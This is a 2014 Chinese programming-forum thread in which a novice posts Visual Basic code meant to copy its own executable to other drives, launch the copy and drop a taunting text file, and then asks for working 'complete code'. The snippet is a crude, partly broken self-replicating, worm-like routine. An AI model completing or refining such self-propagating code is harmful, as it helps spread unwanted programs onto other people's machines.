标题:vb文件自我复制
取消只看楼主
pk555157815
Rank: 1
等 级:新手上路
帖 子:3
专家分:0
注 册:2014-4-13
结帖率:0
已结贴  问题点数:20 回复次数:2 
vb文件自我复制
Private Sub Form_Load()
Open "E:\me.txt" For Output As #4
Print #4, "you; are  idiot!; "
Close #4
On Error GoTo cw
digfile = "D:\"
If Dir(digfile & App.EXEName & ".exe") = "" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", digfile & App.EXEName & ".exe"
digfile = "F:\"
If Dir(digfile & App.EXEName & ".exe") = "" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", digfile & App.EXEName & ".exe"
Open digfile & "me.txt" For Output As #1
Print #1, App.Path & "\" & App.EXEName & ".exe"
Close #1
Shell digfile & App.EXEName & ".exe"
ElseIf Dir(App.Path & "\me.txt") <> "" Then
Open App.Path & "\me.txt" For Input As #2
Input #2, strs
Close #2
End If
End If
Exit Sub
cw:
Unload Me
End Sub
自动生成me.txt
实现me.txt的自我复制  
但每次在容错语句出现错误
2014-04-13 17:37
pk555157815
Rank: 1
等 级:新手上路
帖 子:3
专家分:0
注 册:2014-4-13
得分:0 
请大神们给个完整的代码吧  小弟拜谢!!!
2014-04-13 21:09
pk555157815
Rank: 1
等 级:新手上路
帖 子:3
专家分:0
注 册:2014-4-13
得分:0 
版主大大 牛逼  可惜看不懂啊  
2014-04-14 19:18



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-430046-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.354331 second(s), 8 queries.
Copyright©2004-2025, BCCN.NET, All Rights Reserved